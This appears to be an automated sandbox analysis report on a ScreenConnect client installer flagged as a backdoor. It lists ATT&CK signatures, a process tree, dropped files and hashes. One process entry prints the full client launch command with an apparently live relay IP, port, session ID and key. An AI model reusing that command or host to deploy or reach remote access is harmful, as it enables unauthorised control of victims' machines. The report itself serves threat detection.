Analysis

  • max time kernel
    148s
  • max time network
    143s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    03/08/2026, 15:13

General

  • Target
    ScreenConnect.ClientSetup.msi
  • Size 11.1MB
  • Sample260803-slrb2sserg
  • SHA256 dbaa4b460978e0e2f78a0c2de805c7b0e8b7c54c492eb499c6750a9132b04198
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 18 IoCs
  • Drops file in Windows directory 17 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:4988
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3856
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 4BCFFE676C4C6D45D4A1D14ABE29C489 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:5116
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSID085.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240767531 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:4832
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:4244
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 0250EE8E8D017AE9EAFEB4B4E65444B9
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:468
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding B019D48AFE04A651BA98F5F47B2350C4 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:1008
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:4256
    • C:\Program Files (x86)\ScreenConnect Client (b222adb8e3090dd3)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (b222adb8e3090dd3)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=80.76.49.90&p=8041&s=d4ae3dad-66df-47ac-8d5c-9cc97f4c476b&k=BgIAAACkAABSU0ExAAgAAAEAAQDd%2bGHSXVSCfD8yrCz21FPf3aIL9peBRD%2fAw5Skyv57F%2bWWRmnanAH5rv%2ftJgbq7EP6EnT09FklgApqdD1IgfqrJJjTuPkGLCrH6LiHT6lYSo1z4jrgCNgLK9r6qcbcRu4dfdL1AVOlwtI%2by3RlBywRUyIY8ySMCzqr4Bx714B0WHtK0FleAaP7CUjIX%2fUlTCx8Hqu3zjteugS%2blcldfXdR8YZ4kK9S8kwcAcKA9Ab8veqw8MiyZOKtIbTQVWeRJ%2fDJc%2fMjW2xbTAnSAczsgFaHtykBj15Wpr0A9buMsS8UVZfWDpgeYUDp4QSGFBst3TokIn3Ycq5qj%2fcxzrYE4s7l"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4760
      • C:\Program Files (x86)\ScreenConnect Client (b222adb8e3090dd3)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (b222adb8e3090dd3)\ScreenConnect.WindowsClient.exe" "RunRole" "c3efc34d-ff07-41cc-851a-f151c39d30a8" "User"
        2⤵
        • Executes dropped EXE
        PID:3432
      • C:\Program Files (x86)\ScreenConnect Client (b222adb8e3090dd3)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (b222adb8e3090dd3)\ScreenConnect.WindowsClient.exe" "RunRole" "61b04acc-2fd3-40e2-bdf0-d01d236dc006" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:1236

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e5a1a9f.rbs

          • Path C:\Config.Msi\e5a1a9f.rbs
          • Size 214KB
          • SHA256 050c72c045b3ddb9b3002d61d45ef9bcb8cec362577235a721446927a11ec0ee
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (b222adb8e3090dd3)\Client.Override.en-US.resources
          • Size 363B
          • SHA256 e877dda11c999975c69401f0acfc75c11324cca5f13698584764fabb2bb40204
          • MD5 SHA1 SHA512 TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (b222adb8e3090dd3)\Client.en-US.resources
          • Size 48KB
          • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (b222adb8e3090dd3)\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (b222adb8e3090dd3)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (b222adb8e3090dd3)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (b222adb8e3090dd3)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (b222adb8e3090dd3)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (b222adb8e3090dd3)\ScreenConnect.WindowsClient.exe
          • Size 593KB
          • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (b222adb8e3090dd3)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (b222adb8e3090dd3)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (b222adb8e3090dd3)\app.config
          • Size 1KB
          • SHA256 805e6e9447a4838d874d84e6b2cdff93723641b06726d8ee58d51e8b651cd226
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (b222adb8e3090dd3)\system.config
          • Size 937B
          • SHA256 ca0f4ff375d29a46f5611635d54ca965d05f6fb75ec713515de6702a8a63b080
          • MD5 SHA1 SHA512 TLSH

          MSID085.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSID085.tmp
          • Size 1.0MB
          • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSID085.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSID085.tmp-\ScreenConnect.Core.dll
          • Size 538KB
          • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSID085.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSID085.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI2175.tmp

          • Path C:\Windows\Installer\MSI2175.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          e5a1a9e.msi

          • Path C:\Windows\Installer\e5a1a9e.msi
          • Size 11.1MB
          • SHA256 dbaa4b460978e0e2f78a0c2de805c7b0e8b7c54c492eb499c6750a9132b04198
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 26.1MB
          • SHA256 238702b1ff2e317c06a8f8770144c87bc0c6e582221f1efd2098665b1970d1c5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {c6ce3713-6fa7-458c-bfab-dba0af9f3ce4}_OnDiskSnapshotProp

          • Path \??\Volume{c61f8367-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{c6ce3713-6fa7-458c-bfab-dba0af9f3ce4}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 b85c1f588d30b96d2e31b7762aa46b0a02b665e7c6b3bdff107204185a80c061
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/3432-115-0x0000000002CC0000-0x0000000002CF6000-memory.dmp

          memory/3432-118-0x000000001BFF0000-0x000000001C178000-memory.dmp

          memory/3432-120-0x0000000002D20000-0x0000000002D38000-memory.dmp

          memory/3432-119-0x0000000002C70000-0x0000000002C88000-memory.dmp

          memory/3432-117-0x000000001BE40000-0x000000001BFEC000-memory.dmp

          memory/3432-116-0x000000001BC00000-0x000000001BC8C000-memory.dmp

          memory/3432-114-0x0000000000BC0000-0x0000000000C58000-memory.dmp

          memory/4760-74-0x0000000004460000-0x0000000004478000-memory.dmp

          memory/4760-96-0x00000000046D0000-0x0000000004720000-memory.dmp

          memory/4760-100-0x0000000004720000-0x0000000004756000-memory.dmp

          memory/4760-103-0x0000000004760000-0x00000000047A1000-memory.dmp

          memory/4760-105-0x0000000004C10000-0x0000000004CE5000-memory.dmp

          memory/4760-101-0x0000000004A20000-0x0000000004AB2000-memory.dmp

          memory/4832-31-0x0000000005D20000-0x00000000062DA000-memory.dmp

          memory/4832-30-0x00000000055B0000-0x000000000575C000-memory.dmp

          memory/4832-26-0x0000000005370000-0x00000000053FC000-memory.dmp

          memory/4832-22-0x00000000052B0000-0x00000000052BA000-memory.dmp

          memory/4832-18-0x0000000003260000-0x000000000328E000-memory.dmp